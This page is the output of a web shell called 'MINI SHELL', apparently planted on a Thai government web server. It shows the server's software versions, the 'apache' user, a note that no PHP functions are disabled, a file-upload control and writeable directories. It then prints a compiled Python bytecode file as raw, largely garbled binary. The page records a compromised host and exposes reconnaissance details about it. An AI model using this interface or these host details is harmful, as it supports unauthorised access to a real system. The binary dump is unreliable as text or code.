MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/repomd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/repomd/packageObject.pyo
mò
ýÉODc@sbdkZdfd„ƒYZdefd„ƒYZdfd„ƒYZdeefd„ƒYZdS(	Nt
PackageObjectcBshtZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„ZRS(sZBase Package Object - sets up the default storage dicts and the
       most common returnscCsh|_g|_dS(N(tselftsimplet	checksums(R((t8/usr/lib/python2.4/site-packages/repomd/packageObject.pyt__init__s	cCs
|iƒS(N(RtreturnNevraPrintable(R((Rt__str__!scCs|i|S(N(RRtvarname(RR((RtreturnSimple$scCs
|iiƒS(N(RRtkeys(R((RtsimpleItems'scCs
|idƒS(Ntid(RR	(R((RtreturnID*scCs@|idƒ|idƒ|idƒ|idƒ|idƒfS(Ntnametarchtepochtversiontrelease(RR	(R((RtreturnPackageTuple-scCs@|idƒ|idƒ|idƒ|idƒ|idƒfS(NRRRRR(RR	(R((RtreturnNevraTuple2scCsž|idƒdjo>d|idƒ|idƒ|idƒ|idƒf}nGd|idƒ|idƒ|idƒ|idƒ|idƒf}|S(
sSreturn printable string for the pkgname/object
           name - epoch:ver-rel.archRt0s
%s - %s-%s.%sRRRRs%s - %s:%s-%s.%sN(RR	tstring(RR((RR7s
>FcCs,|idƒ|idƒ|idƒfSdS(s"returns a tuple of epoch, ver, relRRRN(RR	(R((Rt	returnEVRGs(cCs|iS(sreturn changelog entriesN(Rt	changelog(R((RtreturnChangelogMs(
t__name__t
__module__t__doc__RRR	RR
RRRRR(((RRs									tXMLPackageObjectcBsVtZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
RS(	sninherits from PackageObject, does the functions to parse an xml package format
       file to pull packages incCsti|ƒdS(N(RRR(R((RRUscCs:|idƒ}|idƒ}|idƒ}|||fS(s=takes a version element, returns a tuple of (epoch, ver, rel)RtvertrelN(tnodetGetAttributeRRR(RR RRR((RtparseVersionXs
cCs“|idƒ}|idƒ}|djp|iƒdjo
d}n)|iƒdjo
d}ndGHd}|iƒ|iƒ}|||fS(	s‚takes a checksum element, returns a tuple of (type, checksum, 
           if it is the checksum to be used for the the package id)ttypetpkgidtNOitYESis broken csumid - invalid documentN(	R R!tcsumtypetcsumidtNonetuppertReadtValuetcsum(RR R(R-R'((Rt
parseChecksum_s 


cCs:|idƒ}|idƒ}|idƒ}|||fS(sNtakes a size element, returns  package, 
           installed and archive sizetpackaget	installedtarchiveN(R R!tpkgR0R1(RR R2R1R0((Rt	parseSizeqs
cCs(|idƒ}|idƒ}||fS(s8takes a time element, returns buildtime, filetime(mtime)tbuildtfileN(R R!R4tmtime(RR R4R6((Rt	parseTimezscCs(|idƒ}|idƒ}||fS(sHtakes a location element, returnsbase url path, relative path to packagetbasethrefN(R R!R8trelative(RR R:R8((Rt
parseLocationscCs)|iƒodSn|iƒ|iƒS(s?takes a simple unattributed CDATA element and returns its valuetN(R tIsEmptyElementR+R,(RR ((RtparseSimpleˆs


c	Cs|iƒ}|iƒ}xp|oh|iƒdjo|iƒ}qn|iƒdjo|iƒ|jodSn|iƒdjoî|iƒ|jodSn|iƒ}|ddddd	d
ddgjo|i	|ƒ|i
|<qw|d
jo1|i|ƒ\|i
d<|i
d
<|i
d<qw|djo1|i|ƒ\|i
d<|i
d<|i
d<qw|djo'|i
|ƒ\|i
d<|i
d<qw|djo'|i|ƒ\|i
d<|i
d<qw|djoM|i|ƒ\}}}|ii|||fƒ|o||i
d<qsqw|djo0y|i|ƒWqstj
odGHqsXqwd|GHn|iƒ}qqWdS(s(primary package node reading and dumpingiiNiRRtsummarytdescriptionturltpackagert	buildtimetfiletimeRRRtsizetpackagesizet
installedsizetarchivesizettimetlocationtbasepathtrelativepathtchecksumRtformats"No method to handle format elementsunknown element in package: %s(treadertDepthtmydepthR+trettNodeTypet	LocalNametnodeNameRR>RR"R3R7R;R.tsumtypetsumdatatsumidRtappendtreadFormatNodetAttributeError(RRORWRURVRXRRRQ((RtreadPkgNodesL&%
1
1
'
'


(RRRRR"R.R3R7R;R>R\(((RRQs								tRpmBasecBsPtZdZd„Zd„Zd„Zd„Zd„Zdd„Zd„Z	RS(	s2return functions and storage for rpm-specific datacCsƒh|_g|id<g|id<g|id<g|id<h|_g|id<g|id<g|id<g|_g|_dS(Nt	obsoletest	conflictstrequirestprovidesR5tdirtghost(RtprcotfilesRtlicenses(R((RRÑs	



	


	cCs*|ii|ƒo|i|SngSdS(s9return list of provides, requires, conflicts or obsoletesN(RRdthas_keytprcotype(RRh((Rt
returnPrcoÞsc
CsÄ|ii|ƒpdSn||i|jodSnŠ|\}}\}
}}|dj	o#|i||ƒodSqÀdSnBx>|i|ƒD]-\}}\}}	}||jodSqqWdS(sBreturns 1 or 0 if the pkg contains the requested tuple/tuple rangeiiN(RRdRgRht	prcotupletreqntreqftreqetreqvtreqrR)tinPrcoRangeRitntftetvtr(
RRhRjRsRrRoRqRkRuRtRmRlRn((Rt	checkPrcoås

cCs„|\}}\}}
}xe|i|ƒD]T\}}\}}
}	||jo/|djo|iƒ\}}
}	n|djo
d}	n|djo
d}n|
djo
d}
nti||
|	f||
|fƒ}|djo%|ddddgjodSqn|djo+|dddd	d
dgjodSqFn|djo%|ddd
d
gjodSqxq|q(q(WdS(s˜returns true if the package has a the prco that satisfies 
           the reqtuple range, assume false.
           Takes: prcotype, requested prco tupletEQitGTtGEiiitLEii
iÿÿÿÿtLTiN(treqtupleRkRlRmRnRoRRiRhRqRrRsRtRuRR)tmdUtilst
compareEVRtrc(RRhR|RsRrRRoRqRkRuRtRmRlRn((RRpüs0







$


cCs|iS(sreturn changelog entriesN(RR(R((RR#sR5cCs*|ii|ƒo|i|SngSdS(s"return list of files based on typeN(RReRgtftype(RR€((RtreturnFileEntries'scCs
|iiƒS(s,return list of types of files in the packageN(RReR
(R((RtreturnFileTypes.s(
RRRRRiRvRpRRR‚(((RR]Îs	
			'	tRpmXMLPackageObjectcBsMtZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(s‡used class - inherits from XMLPackageObject, which inherits from 
       Package Object also inherits from RpmBase for return functionscCsAti|ƒti|ƒ||id<|i|ƒ||_dS(Ntrepoid(RRRR]R„RR\R (RR R„((RR8s




c
Cs.hdd<dd<dd<dd<d	d
<}	x,|iƒD]}d||i|ƒfGHq@Wx|iD]}|GHqlWx¬dd
ddgD]˜}t|i	|ƒdjoxd|GHxc|i	|D]T\}}\}}}|djo
d|GHqÅdG|G|	|Gd|||fGHqÅWdGHqŽqŽWdS(NRwt=R{t<Rzs<=Rxt>Rys>=s%s = %sR`RaR^R_is%s:s	%s s	s%s:%s-%sR<(tfconvRRtitemR	RR-tthingtlenRdRqRrRsRtRuR)(
RRsRŠRrRqR‰RuRtR-Rˆ((RtdumpPkgAs(3

		

cCsÄ|iƒ}|iƒ}x¥|o|iƒdjo|iƒ}qn|iƒdjo|iƒ|jodSn|iƒdjo#|iƒ|jodSn|iƒ}|ddddgjo|i	|ƒ|i
|<q¬|d	jo|ii|i	|ƒƒq¬|d
jo'|i
|ƒ\|i
d<|i
d<q¬|d
dddgjo'|i|ƒ}|i|i|ƒq¬|djo|i|ƒq¬d|GHn|iƒ}qqWdS(sXreads the <format> element and hands off the elements to be 
           parsed elsewhereiiNitvendortgroupt	buildhostt	sourcerpmtlicensesheader-rangethdrstartthdrendR^RaR`R_R5sunknown element in format: %s(RORPRQR+RRRSRTRURR>RRfRYt
parseHdrRanget	parsePrcotobjlistRdtextendt
loadFileEntry(RRORUR–RRRQ((RRZWs8&

'

cCs(|idƒ}|idƒ}||fS(s.parse header-range, returns (start, end) tupletstarttendN(R R!R™Rš(RR R™Rš((RR”‡scCs_g}|iƒ}|iƒ}x:|o2|iƒdjo|iƒ}q!n|iƒdjo|iƒ|jo|Sn|iƒdjo¸|iƒ|jo|Sn|iƒ}|djo€|i	dƒ}|i	dƒ}	|i	dƒ}|i	dƒ}|i	d	ƒ}
|id
ƒ}|i||	|||
f|fƒqGn|iƒ}q!q!W|S(s5parse a provides,requires,obsoletes,conflicts elementiiitentryRtflagsRRRtpreN(R–RORPRQR+RRRSRTtprcoNameR!RtflagRsRtRutGetAttribteRRY(RRORRsRRžRtR–RRRŸRuRQ((RR•Žs4&
*cCsx|idƒ}|iƒ|iƒ}|p
d}n|ii|ƒpg|i|<n|i|i	|ƒ||fS(sload a file/dir entryR#R5N(
R R!R€R+R,R5RReRgRY(RR R€R5((RR˜°s

cCsQ|idƒ}|idƒ}|iƒ|iƒ}|ii	|||fƒdS(sload changelog datatdatetauthorN(
R R!RIR¢R+R,tcontentRRRY(RR R£R¢RI((RtloadChangeLogEntry¾s
(
RRRRRŒRZR”R•R˜R¤(((RRƒ4s				0		"	(R}RRR]Rƒ(RR}RƒRR]((Rt?s	8}f

Anon7 - 2021